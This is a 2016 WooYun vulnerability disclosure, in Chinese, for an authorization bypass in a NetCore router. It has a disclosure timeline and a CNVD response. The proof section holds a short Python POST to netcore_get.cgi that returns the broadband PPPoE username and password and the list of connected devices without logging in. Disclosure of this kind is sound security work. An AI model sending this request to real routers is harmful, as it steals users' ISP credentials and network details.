当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0175714

漏洞标题：NetCore磊科的某型号路由器可权限绕过获取敏感信息

相关厂商：NetCore磊科

漏洞作者： 路人甲

提交时间：2016-02-14 12:10

修复时间：2016-05-17 10:20

公开时间：2016-05-17 10:20

漏洞类型：权限控制绕过

危害等级：中

自评Rank：7

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-02-14： 细节已通知厂商并且等待厂商处理中
2016-02-17： 厂商已经确认，细节仅向厂商公开
2016-02-20： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2016-04-12： 细节向核心白帽子及相关领域专家公开
2016-04-22： 细节向普通白帽子公开
2016-05-02： 细节向实习白帽子公开
2016-05-17： 细节向公众公开

简要描述：

NetCore磊科路由器的某个型号权限验证配置不当，存在权限绕过漏洞，攻击者可以直接获取路由器上的所有信息。

详细说明：

回家几天，见挺多人蹭我家WiFi的，于是登录来想改一下WiFi密码，一登录，按错手按了F12，按了我也没有关，顺手看了浏览器不断在请求的URL，我用python模拟POST了一下，居然可以获取到一条json。一分析结果真是下我一跳，我家的登录宽带帐号和密码都出来了。
型号什么的我不管了。

QQ截图20160213201858.jpg


然后一个是浏览器在请求的截图

QQ截图20160213201544.jpg


就是在这条URL里面。

漏洞证明：

直接上代码。

import requests
fs = {"mode_name": "netcore_get", "no": "no"}
rs = requests.post("**.**.**.**/cgi-bin-igd/netcore_get.cgi", data=fs).content
print rs


于是有了以下的json：

QQ截图20160213201829.jpg


其中pppoe_username是宽带登录用户名，pppoe_pwd是密码，然后下面有所有联网设备的mac，还有攻击日志什么的(未截图完整)
未发现管理员密码，这个是万幸么，呵呵哒

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2016-02-17 10:12

厂商回复：

CNVD未复现所述情况，已由CNVD通过软件生产厂商公开联系渠道向其邮件通报，由其后续提供解决方案并协调相关用户单位处置。

最新状态：

暂无